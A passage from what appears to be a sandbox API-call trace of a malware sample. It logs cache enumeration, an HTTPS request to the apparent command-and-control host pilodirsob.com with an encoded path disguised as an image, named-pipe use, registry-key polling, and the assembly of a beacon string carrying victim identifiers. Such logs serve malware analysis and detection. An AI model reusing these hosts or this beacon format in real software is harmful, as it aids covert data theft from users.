lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.223] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/VihuLBb9PQiL%20O.pptx", lpSrch="pilodirsob.com") returned 0x0 [0096.223] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.223] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/p61-x6Q.ots", lpSrch="pilodirsob.com") returned 0x0 [0096.223] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.223] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/BF77dVayz84Lz3Pys.odp", lpSrch="pilodirsob.com") returned 0x0 [0096.223] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.223] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/ZtzB50.ods", lpSrch="pilodirsob.com") returned 0x0 [0096.223] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.223] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/4KATP.png", lpSrch="pilodirsob.com") returned 0x0 [0096.223] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.223] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/AHyV.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.223] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.223] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/th0kck.mkv", lpSrch="pilodirsob.com") returned 0x0 [0096.223] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.223] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/j1z9VOGi%20PA5X.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.223] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.223] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/2A6bXM9.rtf", lpSrch="pilodirsob.com") returned 0x0 [0096.223] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.223] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/mo0DEbXi.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0096.223] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.224] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/aRTD.ots", lpSrch="pilodirsob.com") returned 0x0 [0096.224] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.224] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/pqMkgf%20CmM/JQKOZm.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.224] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 0 [0096.224] FindCloseUrlCache (hEnumHandle=0x1) returned 1 [0096.224] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x26d00d8 | out: hHeap=0x2350000) returned 1 [0096.225] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x5d0 [0096.225] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x5d4 [0096.225] lstrlenA (lpString="pilodirsob.com/images/5qbVQlb0ymuWmr_2FkDD/NVO_2FaAbeais0tlU4Y/q6BT_2B9eGfIoI43LtIhuV/QtnQchMUX6n9F/B3asYZXw/_2FhYDUJMTYaB3PKILEcVcg/WMgDIGrshB/e0T_2F3OwLtl327Jy/bBo858JdBzTI/m9AayoD6ps_/2Box0bRB6Ldta7/Ec_2F84BmjL_2BnKYZQkp/kBMno7exP3mbnkFE/DFUo4OOfG5hYXwg/QTjEpneV/Z.jpeg") returned 272 [0096.225] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x112) returned 0x274fe90 [0096.225] lstrcpyA (in: lpString1=0x274fe90, lpString2="pilodirsob.com/images/5qbVQlb0ymuWmr_2FkDD/NVO_2FaAbeais0tlU4Y/q6BT_2B9eGfIoI43LtIhuV/QtnQchMUX6n9F/B3asYZXw/_2FhYDUJMTYaB3PKILEcVcg/WMgDIGrshB/e0T_2F3OwLtl327Jy/bBo858JdBzTI/m9AayoD6ps_/2Box0bRB6Ldta7/Ec_2F84BmjL_2BnKYZQkp/kBMno7exP3mbnkFE/DFUo4OOfG5hYXwg/QTjEpneV/Z.jpeg" | out: lpString1="pilodirsob.com/images/5qbVQlb0ymuWmr_2FkDD/NVO_2FaAbeais0tlU4Y/q6BT_2B9eGfIoI43LtIhuV/QtnQchMUX6n9F/B3asYZXw/_2FhYDUJMTYaB3PKILEcVcg/WMgDIGrshB/e0T_2F3OwLtl327Jy/bBo858JdBzTI/m9AayoD6ps_/2Box0bRB6Ldta7/Ec_2F84BmjL_2BnKYZQkp/kBMno7exP3mbnkFE/DFUo4OOfG5hYXwg/QTjEpneV/Z.jpeg") returned="pilodirsob.com/images/5qbVQlb0ymuWmr_2FkDD/NVO_2FaAbeais0tlU4Y/q6BT_2B9eGfIoI43LtIhuV/QtnQchMUX6n9F/B3asYZXw/_2FhYDUJMTYaB3PKILEcVcg/WMgDIGrshB/e0T_2F3OwLtl327Jy/bBo858JdBzTI/m9AayoD6ps_/2Box0bRB6Ldta7/Ec_2F84BmjL_2BnKYZQkp/kBMno7exP3mbnkFE/DFUo4OOfG5hYXwg/QTjEpneV/Z.jpeg" [0096.225] GetProcAddress (hModule=0x76d00000, lpProcName="StrChrA") returned 0x76d0c5e6 [0096.225] StrChrA (lpStart="pilodirsob.com/images/5qbVQlb0ymuWmr_2FkDD/NVO_2FaAbeais0tlU4Y/q6BT_2B9eGfIoI43LtIhuV/QtnQchMUX6n9F/B3asYZXw/_2FhYDUJMTYaB3PKILEcVcg/WMgDIGrshB/e0T_2F3OwLtl327Jy/bBo858JdBzTI/m9AayoD6ps_/2Box0bRB6Ldta7/Ec_2F84BmjL_2BnKYZQkp/kBMno7exP3mbnkFE/DFUo4OOfG5hYXwg/QTjEpneV/Z.jpeg", wMatch=0x2f) returned="/images/5qbVQlb0ymuWmr_2FkDD/NVO_2FaAbeais0tlU4Y/q6BT_2B9eGfIoI43LtIhuV/QtnQchMUX6n9F/B3asYZXw/_2FhYDUJMTYaB3PKILEcVcg/WMgDIGrshB/e0T_2F3OwLtl327Jy/bBo858JdBzTI/m9AayoD6ps_/2Box0bRB6Ldta7/Ec_2F84BmjL_2BnKYZQkp/kBMno7exP3mbnkFE/DFUo4OOfG5hYXwg/QTjEpneV/Z.jpeg" [0096.225] GetProcAddress (hModule=0x76d00000, lpProcName="StrChrA") returned 0x76d0c5e6 [0096.225] StrChrA (lpStart="pilodirsob.com/images/5qbVQlb0ymuWmr_2FkDD/NVO_2FaAbeais0tlU4Y/q6BT_2B9eGfIoI43LtIhuV/QtnQchMUX6n9F/B3asYZXw/_2FhYDUJMTYaB3PKILEcVcg/WMgDIGrshB/e0T_2F3OwLtl327Jy/bBo858JdBzTI/m9AayoD6ps_/2Box0bRB6Ldta7/Ec_2F84BmjL_2BnKYZQkp/kBMno7exP3mbnkFE/DFUo4OOfG5hYXwg/QTjEpneV/Z.jpeg", wMatch=0x3f) returned 0x0 [0096.225] lstrlenA (lpString="/images/5qbVQlb0ymuWmr_2FkDD/NVO_2FaAbeais0tlU4Y/q6BT_2B9eGfIoI43LtIhuV/QtnQchMUX6n9F/B3asYZXw/_2FhYDUJMTYaB3PKILEcVcg/WMgDIGrshB/e0T_2F3OwLtl327Jy/bBo858JdBzTI/m9AayoD6ps_/2Box0bRB6Ldta7/Ec_2F84BmjL_2BnKYZQkp/kBMno7exP3mbnkFE/DFUo4OOfG5hYXwg/QTjEpneV/Z.jpeg") returned 258 [0096.225] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x205) returned 0x274de60 [0096.225] InternetCanonicalizeUrlA (in: lpszUrl="/images/5qbVQlb0ymuWmr_2FkDD/NVO_2FaAbeais0tlU4Y/q6BT_2B9eGfIoI43LtIhuV/QtnQchMUX6n9F/B3asYZXw/_2FhYDUJMTYaB3PKILEcVcg/WMgDIGrshB/e0T_2F3OwLtl327Jy/bBo858JdBzTI/m9AayoD6ps_/2Box0bRB6Ldta7/Ec_2F84BmjL_2BnKYZQkp/kBMno7exP3mbnkFE/DFUo4OOfG5hYXwg/QTjEpneV/Z.jpeg", lpszBuffer=0x274de60, lpdwBufferLength=0x30efcfc, dwFlags=0x0 | out: lpszBuffer="/images/5qbVQlb0ymuWmr_2FkDD/NVO_2FaAbeais0tlU4Y/q6BT_2B9eGfIoI43LtIhuV/QtnQchMUX6n9F/B3asYZXw/_2FhYDUJMTYaB3PKILEcVcg/WMgDIGrshB/e0T_2F3OwLtl327Jy/bBo858JdBzTI/m9AayoD6ps_/2Box0bRB6Ldta7/Ec_2F84BmjL_2BnKYZQkp/kBMno7exP3mbnkFE/DFUo4OOfG5hYXwg/QTjEpneV/Z.jpeg", lpdwBufferLength=0x30efcfc) returned 1 [0096.230] InternetOpenA (lpszAgent="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x10000000) returned 0xcc0010 [0096.230] InternetSetStatusCallbackA (hInternet=0xcc0010, lpfnInternetCallback=0x407038) returned 0x0 [0096.230] ResetEvent (hEvent=0x5d0) returned 1 [0096.230] InternetConnectA (hInternet=0xcc0010, lpszServerName="pilodirsob.com", nServerPort=0x1bb, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x30efd4c) returned 0xcc0014 [0096.231] SetEvent (hEvent=0x5d0) returned 1 [0096.231] HttpOpenRequestA (hConnect=0xcc0014, lpszVerb="GET", lpszObjectName="/images/5qbVQlb0ymuWmr_2FkDD/NVO_2FaAbeais0tlU4Y/q6BT_2B9eGfIoI43LtIhuV/QtnQchMUX6n9F/B3asYZXw/_2FhYDUJMTYaB3PKILEcVcg/WMgDIGrshB/e0T_2F3OwLtl327Jy/bBo858JdBzTI/m9AayoD6ps_/2Box0bRB6Ldta7/Ec_2F84BmjL_2BnKYZQkp/kBMno7exP3mbnkFE/DFUo4OOfG5hYXwg/QTjEpneV/Z.jpeg", lpszVersion="HTTP/1.1", lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x84c03180, dwContext=0x30efd4c) returned 0xcc0018 [0097.699] InternetQueryOptionA (in: hInternet=0xcc0018, dwOption=0x1f, lpBuffer=0x30efd0c, lpdwBufferLength=0x30efcfc | out: lpBuffer=0x30efd0c, lpdwBufferLength=0x30efcfc) returned 1 [0097.699] InternetSetOptionA (hInternet=0xcc0018, dwOption=0x1f, lpBuffer=0x30efd0c, dwBufferLength=0x4) returned 1 [0097.699] InternetSetOptionA (hInternet=0xcc0018, dwOption=0x6, lpBuffer=0x30efd18, dwBufferLength=0x4) returned 1 [0097.700] InternetSetOptionA (hInternet=0xcc0018, dwOption=0x5, lpBuffer=0x30efd18, dwBufferLength=0x4) returned 1 [0097.701] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274de60 | out: hHeap=0x2350000) returned 1 [0097.701] ResetEvent (hEvent=0x5d0) returned 1 [0097.701] ResetEvent (hEvent=0x5d4) returned 1 [0097.701] HttpSendRequestA (hRequest=0xcc0018, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 0 [0097.704] GetLastError () returned 0x3e5 [0097.706] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274fe90 | out: hHeap=0x2350000) returned 1 [0097.706] WaitForMultipleObjects (nCount=0x2, lpHandles=0x30efd04*=0x5d0, bWaitAll=0, dwMilliseconds=0xea60) returned 0x102 [0161.187] WaitForMultipleObjects (nCount=0x2, lpHandles=0x30efd1c*=0x5d4, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0 [0204.246] InternetSetStatusCallbackA (hInternet=0xcc0018, lpfnInternetCallback=0x0) returned 0x407038 [0204.246] InternetCloseHandle (hInternet=0xcc0018) returned 1 [0204.246] InternetSetStatusCallbackA (hInternet=0xcc0014, lpfnInternetCallback=0x0) returned 0x407038 [0204.246] InternetCloseHandle (hInternet=0xcc0014) returned 1 [0204.246] InternetSetStatusCallbackA (hInternet=0xcc0010, lpfnInternetCallback=0x0) returned 0x407038 [0204.246] InternetCloseHandle (hInternet=0xcc0010) returned 1 [0204.246] CloseHandle (hObject=0x5d0) returned 1 [0204.246] CloseHandle (hObject=0x5d4) returned 1 [0204.246] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x38) returned 0x274f310 [0204.246] CallNamedPipeA (in: lpNamedPipeName="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}", lpInBuffer=0x274f310, nInBufferSize=0x38, lpOutBuffer=0x30efd48, nOutBufferSize=0xc, lpBytesRead=0x30efd54, nTimeOut=0x1 | out: lpOutBuffer=0x30efd48, lpBytesRead=0x30efd54) returned 1 [0204.248] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f310 | out: hHeap=0x2350000) returned 1 [0204.248] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274fd88 | out: hHeap=0x2350000) returned 1 [0204.248] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274fc78 | out: hHeap=0x2350000) returned 1 [0204.248] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274d658 | out: hHeap=0x2350000) returned 1 [0204.248] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f2f0 | out: hHeap=0x2350000) returned 1 [0204.248] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f470 | out: hHeap=0x2350000) returned 1 [0204.248] SetWaitableTimer (hTimer=0x1f0, lpDueTime=0x30efe18, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0204.248] ReleaseMutex (hMutex=0x1f4) returned 1 [0204.248] WaitForSingleObject (hHandle=0x1fc, dwMilliseconds=0x0) returned 0x102 [0204.248] WaitForSingleObject (hHandle=0x204, dwMilliseconds=0x0) returned 0x102 [0204.248] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x0) returned 0x102 [0204.248] WaitForMultipleObjects (nCount=0x5, lpHandles=0x30efe28*=0xb0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0204.248] RegNotifyChangeKeyValue (hKey=0x5cc, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x5c8, fAsynchronous=1) returned 0x0 [0204.248] RegCreateKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x30efdb8 | out: phkResult=0x30efdb8*=0x5d4) returned 0x0 [0204.248] RegQueryValueExA (in: hKey=0x5d4, lpValueName="Client", lpReserved=0x0, lpType=0x30efdb0, lpData=0x448880, lpcbData=0x30efdbc*=0x2c | out: lpType=0x30efdb0*=0x3, lpData=0x448880*, lpcbData=0x30efdbc*=0x2c) returned 0x0 [0204.248] RegCloseKey (hKey=0x5d4) returned 0x0 [0204.248] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x30efda0 | out: phkResult=0x30efda0*=0x5d4) returned 0x0 [0204.249] RegQueryValueExA (in: hKey=0x5d4, lpValueName="Client", lpReserved=0x0, lpType=0x30efd9c, lpData=0x0, lpcbData=0x30efdb8*=0x769f2151 | out: lpType=0x30efd9c*=0x3, lpData=0x0, lpcbData=0x30efdb8*=0x2c) returned 0x0 [0204.249] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x2c) returned 0x274ede8 [0204.249] RegQueryValueExA (in: hKey=0x5d4, lpValueName="Client", lpReserved=0x0, lpType=0x30efd9c, lpData=0x274ede8, lpcbData=0x30efdb8*=0x2c | out: lpType=0x30efd9c*=0x3, lpData=0x274ede8*, lpcbData=0x30efdb8*=0x2c) returned 0x0 [0204.249] RegCloseKey (hKey=0x5d4) returned 0x0 [0204.249] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ede8 | out: hHeap=0x2350000) returned 1 [0204.249] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config", phkResult=0x30efd84 | out: phkResult=0x30efd84*=0x0) returned 0x2 [0204.249] WaitForMultipleObjects (nCount=0x5, lpHandles=0x30efe28*=0xb0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0204.249] RegNotifyChangeKeyValue (hKey=0x5cc, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x5c8, fAsynchronous=1) returned 0x0 [0204.249] RegCreateKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x30efdb8 | out: phkResult=0x30efdb8*=0x5d4) returned 0x0 [0204.249] RegQueryValueExA (in: hKey=0x5d4, lpValueName="Client", lpReserved=0x0, lpType=0x30efdb0, lpData=0x448880, lpcbData=0x30efdbc*=0x2c | out: lpType=0x30efdb0*=0x3, lpData=0x448880*, lpcbData=0x30efdbc*=0x2c) returned 0x0 [0204.249] RegCloseKey (hKey=0x5d4) returned 0x0 [0204.249] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x30efda0 | out: phkResult=0x30efda0*=0x5d4) returned 0x0 [0204.249] RegQueryValueExA (in: hKey=0x5d4, lpValueName="Client", lpReserved=0x0, lpType=0x30efd9c, lpData=0x0, lpcbData=0x30efdb8*=0x769f2151 | out: lpType=0x30efd9c*=0x3, lpData=0x0, lpcbData=0x30efdb8*=0x2c) returned 0x0 [0204.249] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x2c) returned 0x274ede8 [0204.249] RegQueryValueExA (in: hKey=0x5d4, lpValueName="Client", lpReserved=0x0, lpType=0x30efd9c, lpData=0x274ede8, lpcbData=0x30efdb8*=0x2c | out: lpType=0x30efd9c*=0x3, lpData=0x274ede8*, lpcbData=0x30efdb8*=0x2c) returned 0x0 [0204.249] RegCloseKey (hKey=0x5d4) returned 0x0 [0204.249] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ede8 | out: hHeap=0x2350000) returned 1 [0204.249] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config", phkResult=0x30efd84 | out: phkResult=0x30efd84*=0x0) returned 0x2 [0204.250] WaitForMultipleObjects (nCount=0x5, lpHandles=0x30efe28*=0xb0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0204.252] RegNotifyChangeKeyValue (hKey=0x5cc, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x5c8, fAsynchronous=1) returned 0x0 [0204.252] RegCreateKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x30efdb8 | out: phkResult=0x30efdb8*=0x5d4) returned 0x0 [0204.252] RegQueryValueExA (in: hKey=0x5d4, lpValueName="Client", lpReserved=0x0, lpType=0x30efdb0, lpData=0x448880, lpcbData=0x30efdbc*=0x2c | out: lpType=0x30efdb0*=0x3, lpData=0x448880*, lpcbData=0x30efdbc*=0x2c) returned 0x0 [0204.252] RegCloseKey (hKey=0x5d4) returned 0x0 [0204.252] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x30efda0 | out: phkResult=0x30efda0*=0x5d4) returned 0x0 [0204.252] RegQueryValueExA (in: hKey=0x5d4, lpValueName="Client", lpReserved=0x0, lpType=0x30efd9c, lpData=0x0, lpcbData=0x30efdb8*=0x769f2151 | out: lpType=0x30efd9c*=0x3, lpData=0x0, lpcbData=0x30efdb8*=0x2c) returned 0x0 [0204.253] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x2c) returned 0x274ede8 [0204.253] RegQueryValueExA (in: hKey=0x5d4, lpValueName="Client", lpReserved=0x0, lpType=0x30efd9c, lpData=0x274ede8, lpcbData=0x30efdb8*=0x2c | out: lpType=0x30efd9c*=0x3, lpData=0x274ede8*, lpcbData=0x30efdb8*=0x2c) returned 0x0 [0204.253] RegCloseKey (hKey=0x5d4) returned 0x0 [0204.253] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ede8 | out: hHeap=0x2350000) returned 1 [0204.253] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config", phkResult=0x30efd84 | out: phkResult=0x30efd84*=0x0) returned 0x2 [0204.253] WaitForMultipleObjects (nCount=0x5, lpHandles=0x30efe28*=0xb0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x3 [0401.537] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102 [0401.537] WaitForSingleObject (hHandle=0x1fc, dwMilliseconds=0x0) returned 0x0 [0401.537] WaitForSingleObject (hHandle=0x200, dwMilliseconds=0x0) returned 0x0 [0401.537] SetWaitableTimer (hTimer=0x1fc, lpDueTime=0x30efe18, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0401.537] SwitchToThread () returned 1 [0401.542] ReleaseMutex (hMutex=0x200) returned 1 [0401.543] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x30efd78 | out: phkResult=0x30efd78*=0x30c) returned 0x0 [0401.544] RegQueryValueExA (in: hKey=0x30c, lpValueName="LastTask", lpReserved=0x0, lpType=0x30efd74, lpData=0x0, lpcbData=0x30efdb4*=0x200 | out: lpType=0x30efd74*=0x0, lpData=0x0, lpcbData=0x30efdb4*=0x0) returned 0x2 [0401.544] RegCloseKey (hKey=0x30c) returned 0x0 [0401.544] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x10000) returned 0x26d00d8 [0401.544] CreateFileA (lpFileName="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}" (normalized: "\\device\\namedpipe\\{5797b6e3-ca4c-a155-8c7b-9e6580dfb269}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x40000000, hTemplateFile=0x0) returned 0x30c [0401.544] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x960 [0401.545] WriteFile (in: hFile=0x30c, lpBuffer=0x30efd50*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x30efd3c, lpOverlapped=0x30efd14 | out: lpBuffer=0x30efd50*, lpNumberOfBytesWritten=0x30efd3c*=0xc, lpOverlapped=0x30efd14) returned 1 [0401.545] CloseHandle (hObject=0x960) returned 1 [0401.545] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x960 [0401.545] ReadFile (in: hFile=0x30c, lpBuffer=0x30efd50, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x30efd3c, lpOverlapped=0x30efd14 | out: lpBuffer=0x30efd50*, lpNumberOfBytesRead=0x30efd3c*=0x0, lpOverlapped=0x30efd14) returned 1 [0401.545] GetLastError () returned 0x3e5 [0401.545] WaitForMultipleObjects (nCount=0x2, lpHandles=0x30efd28*=0xb0, bWaitAll=0, dwMilliseconds=0x2710) returned 0x1 [0401.567] GetOverlappedResult (in: hFile=0x30c, lpOverlapped=0x30efd14, lpNumberOfBytesTransferred=0x30efd3c, bWait=0 | out: lpNumberOfBytesTransferred=0x30efd3c) returned 1 [0401.567] CloseHandle (hObject=0x960) returned 1 [0401.568] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x960 [0401.568] ReadFile (in: hFile=0x30c, lpBuffer=0x26d00d8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x30efd38, lpOverlapped=0x30efd10 | out: lpBuffer=0x26d00d8, lpNumberOfBytesRead=0x30efd38*=0x0, lpOverlapped=0x30efd10) returned 0x0 [0401.568] GetLastError () returned 0x3e5 [0401.568] WaitForMultipleObjects (nCount=0x2, lpHandles=0x30efd24*=0xb0, bWaitAll=0, dwMilliseconds=0x2710) returned 0x1 [0401.568] GetOverlappedResult (in: hFile=0x30c, lpOverlapped=0x30efd10, lpNumberOfBytesTransferred=0x30efd38, bWait=0 | out: lpNumberOfBytesTransferred=0x30efd38) returned 0 [0401.568] CloseHandle (hObject=0x960) returned 1 [0401.568] CloseHandle (hObject=0x30c) returned 1 [0401.568] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x26d00d8 | out: hHeap=0x2350000) returned 1 [0401.568] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x800) returned 0x274f470 [0401.568] GetTickCount () returned 0x6e510 [0401.568] wsprintfA (in: param_1=0x274f470, param_2="soft=1&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x&guid=%08x%08x%08x%08x" | out: param_1="soft=1&version=300054&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&crc=1198d90&guid=ea61ad9b12ba194535a941e1b6b4241f") returned 127 [0401.568] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x11) returned 0x274f2f0 [0401.568] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x800) returned 0x274d658 [0401.568] GetTickCount () returned 0x6e510 [0401.569] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x13) returned 0x274f310 [0401.569] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x8) returned 0x27489f8 [0401.569] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xa) returned 0x274f330 [0401.569] lstrlenA (lpString="%s=%s&") returned 6 [0401.569] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x17) returned 0x274f348 [0401.569] sprintf (in: _Dest=0x274f348, _Format="%s=%s&" | out: _Dest="opkcoxeed=ysygkox&") returned 18 [0401.569] HeapFree (in: hHeap=0x2350000, 